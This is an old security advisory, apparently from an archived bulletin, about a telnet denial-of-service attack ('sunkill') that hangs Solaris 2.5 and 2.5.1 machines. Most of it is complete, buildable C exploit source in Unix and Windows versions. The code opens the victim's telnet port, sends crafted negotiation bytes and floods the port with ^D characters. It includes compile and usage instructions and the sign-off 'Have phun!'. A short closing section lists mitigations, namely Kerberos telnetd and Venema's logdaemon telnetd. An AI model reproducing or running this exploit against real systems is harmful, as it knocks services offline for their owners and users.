COMMAND

    see below for exploit program (telnet port)

SYSTEMS AFFECTED

    Solaris 2.5, 2.5.1

PROBLEM

    Here is  a little  program reputed  to make  Solaris 2.5  machines
    totally unresponsive for the duration  of the attack.  You  need a
    real  internet  connection  from  the  attacker to the victim, but
    very little bandwidth is required to keep the victim "down 'n out"
    once the attack is underway.  If the output of dots stops for long
    pauses, the attack is  working.  If the  dots keep coming fast  or
    you get a SIGPIPE, the attack didn't work.

    On a Solaris 2.6 sun4c machine  (an old SS1+ PPP server) it  seems
    to hang the machine for about 30-45 seconds, and then it recovers.
    It looks like Solaris 2.6  isn't vulnerable to this attack  from a
    crashing  standpoint,  but  it's  quite  effective  as a denial of
    service attack.

    The victim must offer a login prompt on port 23.  Exploit  follows
    (original and NT port follows):

    /*
    **  To make, if your system is BSD'ish:  gcc <thisfile>
    **       ...if your system is SysV'ish:  gcc -lnsl -lsocket <thisfile>
    **
    **  Usage: a.out <victim's hostname>
    **
    **  Have phun!
    */

    #include <signal.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <arpa/telnet.h>
    #include <string.h>
    #include <unistd.h>

    #define BUFSIZE 100
    #define DOTS

    void catchit(void)
    {
	printf("\nCaught SIGPIPE -- your link may be too slow.\n");
	exit(1);
    }

    int main(int argc, char *argv[])
    {
	unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \
	TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
	TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};

	unsigned char nastybuf[BUFSIZE];
	struct sockaddr_in sin;
	struct servent *sp;
	struct hostent *hp;
	int s;

	typedef void (*sig_t) (int);
	signal(SIGPIPE,(sig_t)catchit);

	memset(nastybuf,4,BUFSIZE);  /* ascii 4 = ^D */

	if (!(s = socket(AF_INET, SOCK_STREAM, 0))) {
	      printf("no socket\n");
	      exit(1);
	}

	if (!(hp = gethostbyname(argv[1]))) {
	    printf("unknown host\n");
	    exit(1);
	}

	bzero(&sin,sizeof(sin));
	bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
	sin.sin_family = AF_INET;
	sp = getservbyname("telnet","tcp");
	sin.sin_port = sp->s_port;

	if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1) {
	    printf("can't connect to host\n");
	    exit(1);
	}

	printf("connected to %s\n",argv[1]);
	write(s,kludge_telopt,21);   /* kludge some telnet negotiation */

	/*  "Let them eat ^Ds..." */

	while (write(s,nastybuf,BUFSIZE) != -1) {

    #ifdef DOTS
	    write(STDOUT_FILENO,".",1);
    #endif
	}
    }

    Sun killer - NT port:

    #ifdef WIN32

    #include <winsock.h>
    #include <stdio.h>
    /*NT doesn't have <arpa/telnet.h>
     * so swipe the BSD header and stick it in your
     * working dir*/
    #include "telnet.h"

    #else
	#include <signal.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <netdb.h>
	#include <arpa/telnet.h>
	#include <string.h>
	#include <unistd.h>
    #endif

    #define BUFSIZE 100
    #define DOTS

    void catchit(void)
    {
	printf("\nCaught SIGPIPE -- your link may be too slow.\n");
	exit(1);
    }

    #ifdef WIN32
    void InitWinsock(void)
    {
	    WORD          VersionRequested;
	    WSADATA       WsaData;

	    VersionRequested = MAKEWORD(1, 1);
	if(WSAStartup(VersionRequested, &WsaData) != 0)
	    {
		    printf("Could not initialize Winsock\n");
		    exit(-1);
	    }
    }
    #endif

	int main(int argc, char *argv[])
	{
	    unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \
	    TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
	    TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};

	    unsigned char nastybuf[BUFSIZE];
	    struct sockaddr_in sin;
	    struct servent *sp;
	    struct hostent *hp;
	    int s;

    #ifndef WIN32
	    typedef void (*sig_t) (int);
	    signal(SIGPIPE,(sig_t)catchit);
    #else
		    InitWinsock();
    #endif

	    memset(nastybuf,4,BUFSIZE);  /* ascii 4 = ^D */

	    if (!(s = socket(AF_INET, SOCK_STREAM, 0))) {
		  printf("no socket\n");
		  exit(1);
	    }

	    if (!(hp = gethostbyname(argv[1]))) {
		printf("unknown host\n");
		exit(1);
	    }

	    memset(&sin, 0, sizeof(sin));
	    memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
	    sin.sin_family = AF_INET;
	    sp = getservbyname("telnet","tcp");
	    sin.sin_port = sp->s_port;

	    if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
		printf("can't connect to host\n");
		exit(1);
	    }

	    printf("connected to %s\n", argv[1]);
	    send(s, kludge_telopt, 21, 0);   /* kludge some telnet negotiation */

	    /*  "Let them eat ^Ds..." */

	    while (send(s, nastybuf, BUFSIZE, 0) != -1) {

	#ifdef DOTS
		putchar('.');
	#endif
	    }
		    return 0;
	}

SOLUTION

    This isn't 100% -- some machines  resist, and you may have to  try
    multiple times  on some  machines, but  with a  few tries most 2.5
    machines seem to bite it hard.  No security measure so far.

    Note however  that it  appears that  sunkill.c does  not have  any
    appreciable affect on a Solaris 2.5.1 system when they are running
    the  MIT  Kerberos  v5  1.0.4  suite  of  network   authentication
    utilities (telnetd, rlogind, etc...).

    Wieste Venema's  telnetd (included  in his  logdaemon package)  is
    immune to  this attack.   This just  might be  the quickfix people
    are looking for. You can find it at:

        ftp://ftp.win.tue.nl/pub/security/logdaemon-5.6.tar.gz